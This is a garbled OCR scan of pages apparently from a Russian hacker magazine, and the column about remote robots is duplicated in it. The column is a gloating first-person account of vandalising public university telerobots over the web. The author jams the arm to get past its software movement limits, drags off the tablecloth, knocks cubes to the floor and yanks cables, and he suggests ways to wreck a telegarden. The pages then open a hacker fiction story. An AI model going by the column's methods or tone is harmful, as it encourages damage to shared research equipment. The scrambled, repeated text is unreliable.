фейс добавлены ограничения на 
движения роборуки. Однако почти 
сразу я натолкнулся на интерес- 
ный баг. Я хотел всего лишь 
сгрести кубики вместе и потому 
опустил клешню пониже. Однако 
рука почему-то не захотела дви- 
гать кубики. Оказалось, что стол 
кривой, и манипулятор просто 
цепляется за неровности и не дви- 
гается дальше. Однако программа 
\/ЕВ-интерфейса при таком прос- 
тое остается в полной увереннос- 
ти, что робот сдвинулся и коррек- 
тирует допуски. То есть, специаль- 
но заклинив руку, я получил воз- 
можность подвинуть ее за преде- 
лы программных ограничений. А 
двигать было куда: было видно, 
что сзади из манипулятора торчат 
провода. Но до них я не дотянул- 
ся, помешали аппаратные ограни- 
чения, оказалось, что робот прос- 
то механически не способен вра- 
щаться на все 180 градусов. Ко- 
нечно, это стало понятно не сразу, 
наоборот, мне все время каза- 
лось, что gO заветных проводов 
не хватает пары сантиметров, и я 
снова и снова заклинивал манипу- 
лятор, пока не убедился, что меха- 
нический барьер преодолеть 
нельзя. Жаль, JO проводов я не 
достал, но зато во время заклини- 
вания чуть-чуть задралась клеен- 
ка. Было решено этим воспользо- 
ваться: я раскрыл клешню, подвел 
ее к задранному краю, опустил, 
сдвинул в сторону, чтобы получ- 
ше зацепить, и дал команду зак- 
рыть. 

Однако клешню тоже, оказыва- 
ется, заклинивает, и закрыть ее 
не удалось. Пришлось поднять ее 
от стола, дать команду открыть, и 
только после этого удалось ухва- 
тить кленку металлическими 
пальцами. Я тащил в сторону и 
одновременно приподнимал, од- 
нако клеенка все время выскаль- 
зывала! Тогда я попытался ухва- 
тить ее, сложив вдвое, но она все 
равно выскользнула! У этих робо- 
тов, видимо, специально делают 


очень слабый захват, видимо что- 
бы интернетчики не раздавили 
кубики. Тогда я перешел к другой 
тактике: раскрыл клешню, опус- 
тил ее максимально близко к сто- 
Лу и стал аккуратно поддевать ею 
клеенку. Выяснилось, что робот 
двумя передними ножками стоит 
на куске ненавистной клеенки, а 
под нею самый обычный деревян- 
ный стол. В определенный момент 
рука все время застревала на 
складке - эх, были бы моторы по- 
мощнее, тогда можно было бы во- 
обще все здесь изорвать в 
клочья. 

Оказалось, что если дать меха- 
нической руке разогнаться - она 
двигает мощнее. Мотая манипуля- 
тором из стороны в сторону :). Og- 
нако все равно она застревала 
где-то на середине. При этом ро- 
бот начинал сам себя подталки- 
вать к краю стола. Через некото- 
poe время я уже дотягивался go 
края - этого достаточно, чтобы 
выкинуть кубики. Но с этим я не 
хотел спешить. Одной ножкой ро- 
бот все-таки держал клеенку, и 
было решено высвободить ее. На 
это я убил около часа, цепляя 
клеенищу то с одной, то с другой 
стороны. И, наконец, она высво- 
бодилась! Почему-то после этого 
сервер стал сразу недоступен. 
Нет, меня не запалили, просто на 
сайт зашел другой пользователь 
и взял на себя управления. Види- 
мо его удивил погром на выста- 
вочном стенде, и перец быстро 
свалил. Снова овладев управле- 
нием, я сразу же зацепил освобо- 
дившуюся клеенищу и спихнул ее 
со стола вместе с кубиками. 

Как я уже говорил, во время воз- 
ни с клеенкой робот сильно раз- 
вернулся и сдвинулся к краю сто- 
ла. Кстати, в одну из камер был ви- 
ден кусок, похожий на системный 
блок компьютера. Жаль, клешня 
не доставала go него. Зато теперь 
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Вот и свершилось безобразие! Робот 
полностью разгромил свой стенд! 


моя железная лапа доставала go 
проводов, их было около четырех, 
а один из них - многодорожечная 
лента. Мне несколько раз удалось 
схватить за этот интерфейсный 
провод клешней и хорошенько 
дернуть. Я уже говорил, что робо- 
пальцы слабоваты, поэтому лента 
все время выскальзывала. И уро- 
нить компьютер на пол так и не 
удалось, однако на стенде был 
полный разгром, и я пошел спать 
удовлетворенным! Сделал гадость 
- на сердце радость. 

К удовольствию всех моих gpy- 
зей такой бедлам сохранялся Ha 
стенде все выходные, и только в 
воскресенье ночью кто-то все 
поправил. А через пару дней сайт 
и вовсе отключили. Но мне кажет- 
ся, что его все равно скоро вклю- 
чат. А чтобы я снова не разбом- 
бил там все, им придется привин- 
тить робота к столу, убрать клеен- 
ку или приклеить ее, спрятать 
провода и компьютер, поставить 
робота еще дальше от края. 

Механика - слабая сторона всех 
роботов, и если ее серьезно по- 
мучить, то что-нибудь обязатель- 
но отвалится или взглюкнет. Лю- 
бой сможет разломать робота по 
сети, применив воображение. 
Жаль только, роботов таких нем- 
ного - их беречь надо! 
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A тут видно, как слаба клешня. Ее аж всю перекорежило. 
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Мне несколь- 
ко раз уда- 
лось схва- 
тить за этот 
интерфейс- 
ный провод 
клешней и 
хорошенько 
дернуть. 


IS€LfAL-938 


ВЕБ-ТУЛЗЫ 


PAYALNIK/POBOXAK 


м Жаль, теле- 


садовник сде- 
лан с повы- 
шенными ме- 
рами безо- 
пасности, 
иначе все 
растения пе- 
ресаживали 
бы с места на 
место по нес- 
колько раз в 
день и раз- 
бомбили всю 
кадку. 


Електро-Утюг (e-tug@mail.ru) 


РОБОХАК 


Всех сильно приколола возможность управлять роботами через Инет. Многие попробо- 


вали, и я тоже освоил несколько! Надо сказать, что возня с координатами робоклешни 
- порядочный гимор. И после нескольких неудачных попыток взять двумя убогими ме- 


таллическими пальцами кубик озвереваешь, и хочется что-нибудь сломать. Одно дело, 
если робот рядом, тогда берешь молоток погромче или водопроводную трубу и идешь 
разбираться с обидчиком. 


апример, мой очень 
нервный приятель 
на этот случай клал 
с собой kyBangy, когда что-то па- 
ял. Ну аесли этого важного 
инструмента не оказывалось под 
рукой, он кидал все об стену. А 
однажды он выкинул из окна бан- 
ку хлорного железа для травле- 
ния текстолита. Потом асфальт 
под его окнами был ржавым 
очень-очень долго. 

Так вот, \МЕВ-управляемый po- 
бот плох тем, что gO него нужно 
лететь в Австралию или в направ- 
лении иного края географии. Пос- 
кольку физический контакт с ап- 
паратом практически исключен, 
пытаешься со злости за что-ни- 
будь ухватить клешнею. И тут уж 
все зависит от разработчиков ро- 
боруки: насколько крепкими они 
соорудили стол и предметы, как 
далеко поставили \\!ЕВ-камеры, 
убрали ли провода, поставили ли 
ограничения на движения мани- 
пулятора... 


ПОПЫТКИ НАВРЕДИТЬ 
Телеробот (http://telerobot.mech. 
uwa.edu.au/) не позволил мне да- 
же выкинуть кубик за пределы 
стола. Просто в определенный 
момент манипулятор переставал 
двигаться дальше за пределы 
стола с кубиками. Причем, как 
назло, у стола сделаны бордюры, 
чтобы кубики не падали вниз. Но 
ничего, есть пара идей, как нав- 
редить: нужно попробовать пост- 


роить очень высокую пирамидку 


Клеенку я не порвал, но вот измял неслабо 


me 
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Мирный робонатюрморт, однако я уже зацепил клешней клеенку 


рядом с краем и толкнуть ее, тог- 
да часть кубиков все-таки упадет 
на пол. Еще хороший вариант: 
толкать кубики к бордюру, пока 
они не упрутся в него. На фотог- 
рафии телеробот кажется очень 
мощным, поэтому есть надежда 
высадить таким образом стенку 
из оргстекла. Однако этим гемор- 
роем мы пока не заморочились, 
тем более что у этого ВЕБ-робота 
сейчас работает, к сожалению, 
только одна камера из трех. Это 
сильно затрудняет безобразие и 
осложняет манипуляции. 


Разработчики телесадовника 
(http://telegarden.aec.at/) вообще 
сатанисты: сначала нужно заре- 
гистрироваться, причем пароль и 
логин вышлют на мыло. Но даже 
после этого единственное, что 
можно делать, это только поли- 
вать и рассматривать растения. 
Причем залить растения нелегко, 
потому что провод скорее опрыс- 
кивает, чем по-настоящему льет 
водичку. Причем он еще и запо- 
минает, где сколько налил воды, 
поэтому вряд ли получится уст- 
роить потоп в телесадике. Вся 
надежда на посадку своего се- 
мечка, это разрешат сделать 
только после того, как ты зай- 


дешь на сайт несколько раз и 
польешь чужие растения. Инте- 
ресно, робот будет рыть для се- 
мечка ямку? На обучающих фот- 
ках это, кажется, происходит. Так 
вот, было бы неплохо посадить 
такое семечко-паразит в центр 
чужого растения, чтобы робот 
расковырял при этом чей-то раз- 
росшийся папоротник. Жаль, те- 
лесадовник сделан с повышен- 
ными мерами безопасности, ина- 
че все растения пересаживали 
бы с места на место по несколько 
раз в день и разбомбили всю 
кадку. Словом, эту попытку за- 
няться ВЕБ-робовредительством 
тоже можно считать неудачной. 


ага а 


Ой, кажется меня накрыли. Почему-то 
недоступна управляющая сиджиайка. 


нь | 


Ура! Удалось высвободить обе ноги робота! 


РОБОХАК 

Победу над очередным роботом 
(http://robotoy.elec.uow.edu.au) не 
предвещало ничто. Манипулятор 
маленький, кубиков мало, стол ка- 
жется необъятным. В ВЕБ-интер- 
фейс добавлены ограничения на 
движения роборуки. Однако почти 
сразу я натолкнулся на интерес- 
ный баг. Я хотел всего лишь 
сгрести кубики вместе и потому 
опустил клешню пониже. Однако 
рука почему-то не захотела дви- 
гать кубики. Оказалось, что стол 
кривой, и манипулятор просто 
цепляется за неровности и не дви- 
гается дальше. Однако программа 
\/ЕВ-интерфейса при таком прос- 
тое остается в полной увереннос- 
ти, что робот сдвинулся и коррек- 
тирует допуски. То есть, специаль- 
но заклинив руку, я получил воз- 
можность подвинуть ее за преде- 
лы программных ограничений. А 
двигать было куда: было видно, 
что сзади из манипулятора торчат 
провода. Но до них я не дотянул- 
ся, помешали аппаратные ограни- 
чения, оказалось, что робот прос- 
то механически не способен вра- 
щаться на все 180 градусов. Ко- 
нечно, это стало понятно не сразу, 
наоборот, мне все время каза- 
лось, что gO заветных проводов 
не хватает пары сантиметров, и я 
снова и снова заклинивал манипу- 
лятор, пока не убедился, что меха- 
нический барьер преодолеть 
нельзя. Жаль, JO проводов я не 
достал, но зато во время заклини- 
вания чуть-чуть задралась клеен- 
ка. Было решено этим воспользо- 
ваться: я раскрыл клешню, подвел 
ее к задранному краю, опустил, 
сдвинул в сторону, чтобы получ- 
ше зацепить, и дал команду зак- 
рыть. 

Однако клешню тоже, оказыва- 
ется, заклинивает, и закрыть ее 
не удалось. Пришлось поднять ее 
от стола, дать команду открыть, и 
только после этого удалось ухва- 
тить кленку металлическими 
пальцами. Я тащил в сторону и 
одновременно приподнимал, од- 
нако клеенка все время выскаль- 
зывала! Тогда я попытался ухва- 
тить ее, сложив вдвое, но она все 
равно выскользнула! У этих робо- 
тов, видимо, специально делают 


очень слабый захват, видимо что- 
бы интернетчики не раздавили 
кубики. Тогда я перешел к другой 
тактике: раскрыл клешню, опус- 
тил ее максимально близко к сто- 
Лу и стал аккуратно поддевать ею 
клеенку. Выяснилось, что робот 
двумя передними ножками стоит 
на куске ненавистной клеенки, а 
под нею самый обычный деревян- 
ный стол. В определенный момент 
рука все время застревала на 
складке - эх, были бы моторы по- 
мощнее, тогда можно было бы во- 
обще все здесь изорвать в 
клочья. 

Оказалось, что если дать меха- 
нической руке разогнаться - она 
двигает мощнее. Мотая манипуля- 
тором из стороны в сторону :). Og- 
нако все равно она застревала 
где-то на середине. При этом ро- 
бот начинал сам себя подталки- 
вать к краю стола. Через некото- 
poe время я уже дотягивался go 
края - этого достаточно, чтобы 
выкинуть кубики. Но с этим я не 
хотел спешить. Одной ножкой ро- 
бот все-таки держал клеенку, и 
было решено высвободить ее. На 
это я убил около часа, цепляя 
клеенищу то с одной, то с другой 
стороны. И, наконец, она высво- 
бодилась! Почему-то после этого 
сервер стал сразу недоступен. 
Нет, меня не запалили, просто на 
сайт зашел другой пользователь 
и взял на себя управления. Види- 
мо его удивил погром на выста- 
вочном стенде, и перец быстро 
свалил. Снова овладев управле- 
нием, я сразу же зацепил освобо- 
дившуюся клеенищу и спихнул ее 
со стола вместе с кубиками. 

Как я уже говорил, во время воз- 
ни с клеенкой робот сильно раз- 
вернулся и сдвинулся к краю сто- 
ла. Кстати, в одну из камер был ви- 
ден кусок, похожий на системный 
блок компьютера. Жаль, клешня 
не доставала go него. Зато теперь 


DO Se = = >= ыы ee в 
быв = — a ei обе 


м ИЕ 


Sete ар fered | 


PAYALNIK/POBOXAK 


к 4 
- 
Вот и свершилось безобразие! Робот 
полностью разгромил свой стенд! 


моя железная лапа доставала go 
проводов, их было около четырех, 
а один из них - многодорожечная 
лента. Мне несколько раз удалось 
схватить за этот интерфейсный 
провод клешней и хорошенько 
дернуть. Я уже говорил, что робо- 
пальцы слабоваты, поэтому лента 
все время выскальзывала. И уро- 
нить компьютер на пол так и не 
удалось, однако на стенде был 
полный разгром, и я пошел спать 
удовлетворенным! Сделал гадость 
- на сердце радость. 

К удовольствию всех моих gpy- 
зей такой бедлам сохранялся Ha 
стенде все выходные, и только в 
воскресенье ночью кто-то все 
поправил. А через пару дней сайт 
и вовсе отключили. Но мне кажет- 
ся, что его все равно скоро вклю- 
чат. А чтобы я снова не разбом- 
бил там все, им придется привин- 
тить робота к столу, убрать клеен- 
ку или приклеить ее, спрятать 
провода и компьютер, поставить 
робота еще дальше от края. 

Механика - слабая сторона всех 
роботов, и если ее серьезно по- 
мучить, то что-нибудь обязатель- 
но отвалится или взглюкнет. Лю- 
бой сможет разломать робота по 
сети, применив воображение. 
Жаль только, роботов таких нем- 
ного - их беречь надо! 
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Мне несколь- 
ко раз уда- 
лось схва- 
тить за этот 
интерфейс- 
ный провод 
клешней и 
хорошенько 
дернуть. 
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СТОРИ/БОЛЫШЕ ПОЛОВИНЫ 


ВЕБ-ТУЛЗЫ 


Niro (niro@real.xakep.ru) 


bl когда последний раз 3a- 

нимались арифметикой? - 

вопрос был задан метал- 
лическим тоном. 

- Не так давно, маэстро, - ответ был явно 
подхалимский - тихий, вкрадчивый. 

- Ну, и что там у нас получается? 

- Все упирается в условие задачи. БОЛЬ- 
ШЕ ПОЛОВИНЫ - НЕЛЬЗЯ. 

- Не напоминайте мне об этом - жить не 
хочется... - металл ушел, оставив место 
грусти. - Сколько лет, сколько лет! 

- Ну, на этот вопрос я могу... 

- Это не вопрос, неужели непонятно! - 
металл вновь воцарился в голосе. - Вы 
ищите их? Этих самых... хакеров? 

- Безусловно, маэстро, - четкий, армейс- 
кий ответ, хотя и не военным языком. 
Шуршание бумаги, шепот себе под нос. - 
Есть уже восемь человек, на подходе еще 
пятеро. Но вы ведь знаете, что самое глав- 
ное в этом деле - начать. На роль первого 
я уже выбрал одного... 

- Все честно? 

- Обижаете, маэстро, - подхалимские нот- 
ки окончательно оставили говорившего, 
на их месте утвердился тон человека 
практически равного... 

- Что у нас есть для начала? 

- Мелочь, но зато какая... 

- Сработает? 

- У этих людей - я имею в виду хакеров - 
есть одна слабость. Правда, среди них на- 
ходятся единицы, ей не подверженные... 
Короче, все они ищут легких путей. Я ДАМ 
СПОСОБ НАХОДИТЬ ИХ ВСЕГДА. 

Тишина. Еле слышное гудение камина. 
Глубокий в300х. 

- Но ведь я имею на это право? 

- Имеете, маэстро. Только у меня к вам 
просьба - когда вы будете делать это в 
первый раз, не упадите в обморок. Цифра 
все-таки приличная... 

Тонко скрипнуло кресло-качалка. Подоб- 
рав плед с пола, тот, кого называли «ма- 
эстро», тщательно укутал им ноги и уста- 
вился на огонь... 

Его собеседник осторожными шагами, пя- 
тясь, вышел из комнаты. Работа началась. 


жжх 


Шин сидел за компьютером, крепко обх- 
ватив голову руками; пальцы и мокрые от 
пота волосы переплелись, создавалось 
впечатление «скотча» - но они не стре- 
мился освободиться. Перед глазами чер- 
ным прямоугольником чертова консоль. 
Курсор мигал, не давая сосредоточиться. 

Задача, конечно же, имела решение. Не 
могла не иметь. В вопросе всегда содер- 
жится половина ответа. Просто Шин поче- 
му-то не видел его. Даже при рассматри- 
вании в упор. 
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- Основной целью любого злоумышлен- 
ника (тут он хмыкнул, цитируя очередной 
учебник) является доступ к командной 
строке... А если там все экранируется, кро- 
ме восьмидесятого порта! И какого хрена 
писать об «обратном канале», если это так 
легко отлавливается! 

Он опустил глаза в клавиатуру, терпели- 
во ожидающую его прикосновений (прав- 
да, частенько она получала подзатыльни- 
ки, а порой ее просто приговаривали к 
смерти). Мыслей было до хрена - и ни 00- 
HOM ТОЛКОВОЙ. 

Выпутав пальцы из шевелюры, он поло- 
жил их перед собой ладонями вверх и 
принялся изучать переплетение линий. 
Где-то в них было вырезано и решение се- 
годняшней проблемы... 

Экран свернулся в точку, кулер притих 
под столом. Прямо перед Шином на стене 
погасли электронные часы. Стало настоль- 
ко тихо, что Шину это показалось просто 
непозволительным. На кухне заткнулась 
вечно бубнящая магнитола, настроенная 
единожды на одну и ту же волну. А потом 
раздался вежливый стук в дверь. 

«Именно так ОНИ и приходят... - екнуло 
сердца Шина. - Оперативники... 

Он всегда готовил себя к тому, что Уп- 
равление «Р» может до него добраться. В 
принципе, оно уже было просто обязано 
это сделать - если посчитать, сколько вре- 
да принес своей работой Шин. «Жаль, что 
полюс, на котором я приношу пользу, 
всегда является отрицательным... А к по- 
ложительному как-то не тянет». 

На случай ЗАХВАТА он приготовил все 
пути к отступлению. Самое главное, конеч- 


И вот он тупо смотрел в погасший экран 
и медленно понимал, что бесперебойник 
почему-то не работает, что у него нет тех 
тридцати минут, за которые он должен 
был успеть... 

Стук повторился - аккуратный, ненавяз- 
чивый. Три раза. «Дын-дын-дын». Шин 
вдруг понял, что замер, как восковая кук- 
ла. 

«Не открывать! - молния в голове. - Меня 
нет дома!» 

(Сердце застучало громче поезда. Ноги 
стали ватными, Шин просто не смог бы на 
них подняться, чтобы подойти к двери. OH 
медленно протянул руку к зажигалке; че- 
рез пару мгновений в вечернем полумра- 
ке квартиры засветился фитилек. В руках 
оказался один из дисков его непревзой- 
денной коллекции шпионского софта. Че- 
рез секунду он должен был превратиться 
в тающую сосульку. 

Прежде чем поднести диск к огню, он ак- 
куратно нагнулся, проверил «Power» - 
бесполезно, несколько раз палец безо 
всякого успеха вдавливал кнопку в кор- 
nyc. После этого эксперимента он вздох- 
нул и, по-прежнему стараясь не смотреть 
в сторону двери, за которой стояли сейчас 
люди в погонах, поднес диск к свече. 

Пластик диска почернел и «поплыл»; 
вонь поползла во все стороны. Шину за- 
жать нос было нечем - одной рукой он 
держал свечу над несколькими листами 
бумаги, чтобы вся эта текучая черная га- 
дость не попала на стол, кончиками паль- 
цев другой он держал за самый краешек 
едва ли не самый лучший из своих дис- 
КОВ. 


- А ВЕДЬ ОНИ ЕЩЕ НЕ УШЛИ... - 
прозвучал в темноте голос откуда-то 
с дивана - прозвучал с такой же 
вежливостью, с какой несколько минут 
звучал стук в дверь. 


но, - бесперебойник. На тридцать минут. 
Этого должно было хватить на низкоуров- 
невое форматирование его не очень 
большого винчестера. Все файлы, необхо- 
димые для работы, он хранил на дисках - 
рядом с компом стояла большая свеча в 
шестигранном подсвечнике и лежала за- 
жигалка; чирк! - и плавь инфу, пока вин- 
честер перепахивается «на ноль». Литера- 
туры, конечно, тоже было много, в том 
числе и с его пометками - одной только 
подшивкой «Хакера» за все года можно 
было бы припереть к стенке, но не у нас, а 
где-нибудь в Америке. 


В дверь постучали в третий раз; Шин 
уронил диск в застывшую на столе лужи- 
uy. 

- Аесли это просто совпадение? - шеп- 
нул себе под нос Шин. - В смысле, свет 
вырубили, а тут соседка пришла - за 
дрелью, к примеру, или за чаем... Е-мое, 
что ж я сделал! 

Зерна сомнения упали на благодатную 
почву - разглядывая тоскливым взглядом 
оставшиеся диски, Шин чувствовал, что на 
них рука у него не поднимется - даже если 
за это придется отвечать по полной прог- 
рамме. 


Но почему отказал бесперебойник? При- 
бор, отвечающий не просто за сохран- 
ность данных - за жизнь и свободу хозяи- 
на компьютера! Ожидая, что стуки больше 
не повторятся, Шин встал, отодвинул угол 
занавески, разглядывая дома с противо- 
положной стороны улицы (вдруг это весь 
район рубанули?). Судя по темным прямо- 
угольникам окон напротив, света не было 
и там. Тогда с чистой совестью Шин ныр- 
нул под стол и попытался разобраться с 
источником бесперебойного питания. 

Эта железка не имела ничего общего с 
внутренним устройством Упх-системы, од- 
нако кое-какие навыки в работе с электри- 
чеством в объеме школьной программы у 
Шина были. Ковыряясь в сумерках отверт- 
кой, он не забывал периодически прислу- 
шиваться к тому, что творилось на пло- 
щадке перед его квартирой. На площадке 
последние десять минут было тихо. Кто бы 
это ни был - он ушел. 

Довольно скоро стало понятно, что бес- 
перебойник абсолютно исправен. Испра- 
вен настолько, что Шин даже выглянул 
из-под стола и посмотрел на монитор, 
ожидая увидеть лампочку «STAND BY» 
включенной. Хрен там. Не дождетесь. 

Вонь в квартире постепенно выветрива- 
лась. Не решаясь открыть форточку, дабы 
не выдать своего присутствия в доме тем, 
кто наблюдал сейчас («Наблюдал ли?») за 
его окнами со стороны, он, проклиная все 
на свете, отфильтровывал эту гадость сво- 
ими легкими. 

Пару раз стукнувшись головой о стол, 
Шин решил выбраться из-под него и 
вздремнуть на диване - пока света в квар- 
тире не было, делать за компом было не- 
чего. Адреналин помаленьку улетучивал- 
ся вместе с плавленым пластиком; Шин 
выполз и распрямил усталую спину. Cnag- 
ко потянувшись, он забористо выругался, 
передав привет всем тем, кто устроил су- 
мерки раньше положенного природой 
времени, вспомнив и «Газпром», и всех 
остальных, располагающихся где-то непо- 
далеку. 

- А ВЕДЬ ОНИ ЕЩЕ НЕ УШЛИ... - прозву- 
чал в темноте голос откуда-то с дивана - 
прозвучал с такой же вежливостью, с ка- 
кой несколько минут звучал стук в дверь. 
Шин от неожиданности громко икнул и за- 
мер, нашаривая за спиной стол трясущей- 
ся рукой. 

-А... 3... Кто... 

- Добрый вечер, - голос, звучащий из пус- 
тоты, производил впечатление фильма «Че- 
ловек-невидимка». - Сейчас все пройдет... 

Шин почувствовал, как ледяная рука, 
сжавшая его сердце, разжимается - мед- 
ленно, но ощутимо. Его ладонь наконец-то 
нашла стол за спиной; нащупав хоть ка- 
кую-нибудь опору, Шин откашлялся и 
спросил: 

- Ты кто?.. И где? 

Диван скрипнул - будто кто-то на нем 
немного приподнялся, чтобы принять бо- 
лее удобную позу. Колыхнулась штора; 
вздохнул за дверью туалета унитаз; про- 
тяжно провыла батарея. На мгновенье 
мигнула и тут же погасла лампочка в 
люстре. 

За эту долю секунды Шин успел увидеть, 
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что диван пуст. Возле окна, там, где слег- 
ка, будто сквозняком, повело штору, - то- 
же никого. 

- Truth is out there... - шепот из ниоткуда. 

- What's up? - машинально Ha TOM же Ca- 
MOM языке спросил Шин, не переставав- 
ший прислушиваться к тем звукам, что 
рождала его квартира. 

В кладовой картонный шорох - словно 
коробка из-под монитора, которую Шин по 
непонятным причинам не выбрасывал, ре- 
шила выползти на свободу. Заскрипела 
дверь в ванную - петли у нее не смазыва- 
лись уже несколько лет, и она очень лю- 
била поскрипывать среди ночи... 

Шин громко икнул - то ли от страха, то 
ли от того, что надолго задержал дыхание, 
боясь издать хоть малейший звук. 

- Подышите носом, - раздался из пустоты 
совет. - Глубоко и медленно вдыхайте и 
выдыхайте... Вот уж не думал так вас Ha- 
пугать, прости меня ради всего... Чуть не 
сказал «святого». 


жжх 


- OH He может больше ждать, - полный 
печали мужской голос. 

- Вы думаете, отец, он решится? - взвол- 
нованный женский. - Он должен себе 
представлять все возможные послед- 
CIBMA. 

- Оних представляет гораздо лучше, чем 
ты, - еле слышно произнес мужчина. - Но 
я его прекрасно понимаю. То, на что он 
обречен, - этого не познать никому, кроме 
него самого. Я все время ждал, что он 
предпримет какие-нибудь шаги - особенно 
с того момента, когда так называемый на- 
учно-технический прогресс подтолкнул 
нас к мысли о хранении информации в 
Интернете. 

- Неужели вы не боялись доверить столь 
важные сведения этой свалке информа- 
ции? - женщина, судя по голосу достаточ- 
но молодая, переживала гораздо больше 
собеседника. 

- Спрячь дерево в лесу, - был ответ. - 
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Мне тогда казалось, что это - единствен- 
ный надежный способ укрыть подобного 
рода информацию. Надо было сделать ее 
частью этой свалки - только тогда она 
могла слиться с нею, стать незаметной. 

- Что это было изначально? 

- Бумага. Обыкновенный лист, на нем 
несколько предложений, две подписи - 
моя и... Он любит, когда его называют 
«маэстро». 

- Я слышала об этом. Каков ваш прог- 
ноз? 

- Несколько дней. А может быть, минут.. 
Ты - моя последняя линия обороны, моя на- 
дежда. Такие, как я, не делают ошибок; но 
если им волей судьбы (когда они сами - 
СУДЬБА) приходится их делать, то тогда у 
них самих недостает сил исправить огрехи... 

Мужчина замолчал и, тяжело дыша, ус- 
тавился в пол. Его собеседница осторож- 
ными шагами, пятясь, вышла из комнаты. 
Работа началась. 


Жжх 


Страх исчез окончательно - как обычно 
бывает после того, как выйдешь из кабин- 
ки «колеса обозрения». Шин всегда боял- 
ся высоты, но, стараясь не показывать 
этого, за компанию частенько в Парке от- 
дыха проезжал пару кругов; сердце зами- 


ке, было заметно невооруженным глазом. 

На коленях гость держал тоненькую папоч- 
ку из крокодиловой кожи, закрытую на 
«молнию». Длинными пальцами пианиста он 
поколачивал по ней, периодически поглажи- 
вая (словно извиняясь). Пауза затянулась. 

Шин приподнял брови, всем своим ви- 
дом задавая вопрос: «Ну?». Гость, будто не 
замечая его и думая о чем-то своем, сло- 
жил губы бантиком и шумно втянул воздух 
сквозь получившуюся трубочку. После че- 
го решительно отодвинул папку, положив 
ее на диван, и взглянул, наконец, в сторо- 
ну Шина. Их взгляды встретились. 

От неожиданности гость клацнул зуба- 
ми, и фраза, которую он собирался произ- 
нести, застряла у него в горле. Спустя се- 
куноду он собрался, поставил ноги вместе, 
сцепив пальцы рук на коленях, снова 
шумно вздохнул, улыбнулся и попытался 
начать заново - но опять безрезультатно. 

Шин криво улыбнулся. Он явно чего-то 
не понимал. 

- Привет, - вдруг сказал гость. 

- Ага, - ответил ШИН. «Хоть что-то...» - по- 
думалось ему. 


- Ага, - повторил Шин. 
Гость смутился. Нашарив рядом с собой 
папочку, он положил на нее ладонь пра- 


Человек явно не чувствовал себя 
спокойно: то, что он был не в своей 
тарелке, было заметно 
невооруженным глазом. 


рало, хотелось истерически посмеиваться, 
смотреть прямо перед собой, не особо 
вдаваясь в окружающие и проползающие 
внизу детали. И лишь когда цепь, закры- 
вающую кабинку, размыкал угрюмый 
смотритель, и можно было выскочить на 
деревянный пошатывающийся настил, он 
ощущал весь кайф от поездки - ноги ста- 
новились слегка ватными, в голове шуме- 
ло, сердце рвалось из груди на волю (это 
обычно заканчивалось парой банок пива - 
ну никак без них сердце не хотело потом 
залезать обратно в грудную клетку). Так 
было и сейчас. 

Несколько вдохов-выдохов - и икота 
прекратилась. Еще через мгновенье в 
квартире вспыхнул свет. Шин непроиз- 
вольно зажмурился и поднес ладонь к 
глазам. Сквозь размытое желтое пятно от 
люстры он увидел, что на диване сидит 
человек. Когда глаза адаптировались к 
свету, Шин потер их пальцами туда-сюда - 
стало полегче. Убрав руки от лица, он 
взглянул на гостя. 

Человек стандартного вида. Черный кос- 
тюм с темно-коричневым галстуком в тон- 
кую полоску; белая накрахмаленная ру- 
башка; лакированные черные туфли, в ко- 
торых отражалась люстра. Поза была рас- 
слабленной - откинувшись на спинку и за- 
кинув ногу на ногу, человек играл носком 
туфли, выписывая им маленькие петель- 
ки; однако развязности в этом не было ни 
грамма. Человек явно не чувствовал себя 
спокойно; то, что он был не в своей тарел- 
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вой руки; судя по всему, это придало ему 
уверенности. Он расправил плечи, под- 
нялся и представился: 

- Хайнц... Хайнц Гринберг... Сразу npeg- 
восхищу вопросы по поводу националь- 
ности и знания русского языка - могу наз- 
ваться Ли Хин Ганом и говорить на хинди, 
это ничего не изменит в моей жизни, а вот 
вы вряд ли меня поймете. Короче, Хайнц - 
имя красивое, короткое, запоминающееся. 

Шин кивнул. Ему было пофигу - хоть 
Хайнц, хоть оленевод Бельдыев. Вот откуда 
он взялся - это было гораздо интереснее. 

Тем временем Хайнц протянул Шину ру- 
ку - видимо, для рукопожатия. Шин пос- 
мотрел на эту руку - более чем внима- 
тельно, словно она могла оказаться чем- 
нибудь заражена, потом протянул ему 
свою и сказал: 

- Шинкаренко Денис. Можно Шин. 

- Я знаю, - улыбнулся Хайнц. - Я всегда 
прихожу к тем, кого знаю. 

- Ага, - попытался вытащить из цепкого 
захвата Гринберга свою ладонь Шин. - Я 
тоже. 

Хайнц отпустил руку Шина и присел на- 
зад на диван, вновь положив руку на 
свою любимую «крокодиловую» папочку. 

- Дело, приведшее меня к вам, довольно 
редкого свойства. Прямо скажем, крайне 
неожиданного. 

Шип подкатил к столу вращающееся 
кресло, опустился в него и закинул ногу на 
ногу, невольно повторяя позу Гринберга. 

- Мне известен характер работы, которой 


вы зарабатываете себе на жизнь, - улыба- 
ясь, продолжил Хайнц. - Смело, нечего 
сказать. Я вообще всегда боялся компью- 
теров; а относиться к ним как к средству 
заработка - это для меня выше всякого 
понимания... 

- А сами вы чем занимаетесь? - осмелел 
Шин - как раз настолько, чтобы самому 
спросить собеседника. Впрочем, он каким- 
то десятым чувством понимал, что ответ 
он не получит - по крайней мере, пока. 

Так и вышло. Продолжая поколачивать 
указательным пальцем левой руки по ле- 
жащему рядом плоскому «крокодилу», 
Хайнц уклонился от ответа, выдержав пау- 
зу, достойную МХАТа. 

- Я не собирал специально информацию 
о вас. По роду моей деятельности можно 
сказать, что она просто падает на меня с 
неба - когда мне это необходимо. Настал 
момент - и вотя здесь. Мне - а точнее ска- 
зать, личности, которую я представляю, - 
необходимы знания и умения человека, 
подобного вам. А еще лучше - именно ва- 
ШИ. 

Шин молчал. Ему снова становилось не 
по себе. 

- Я изучил ваши успехи за последние 
полгода. Это впечатлило и меня, и моего 
клиента. Количество секретной информа- 
ции, добытой вами за такой небольшой 
промежуток времени, одновременно тянет 
и на несколько лет строгого режима, и на 
огромную кучу в «зеленом» эквиваленте. 
Вы не занимаетесь чем попало - даже не 
знаю, хвалить ли вас, завидовать ли вам 
или переживать за вас. 

Шин слушал молча; у него складыва- 
лось впечатление, что перед ним сидит 
человек, в кармане которого лежат все 
его логи за последние шесть месяцев. XO- 
лодок пробежал по спине. 

- Не буду приводить полный список 
взломанных баз данных, почтовых серве- 
ров, локальных сетей - это не заняло бы 
много времени, просто в мою осведом- 
ленность намного проще поверить, чем 
начать ее проверять. Назову только - 
«Трест, который лопнул»... 

Шин вздрогнул. Четыре месяца назад он 
получил-таки (с огромным трудом) доступ 
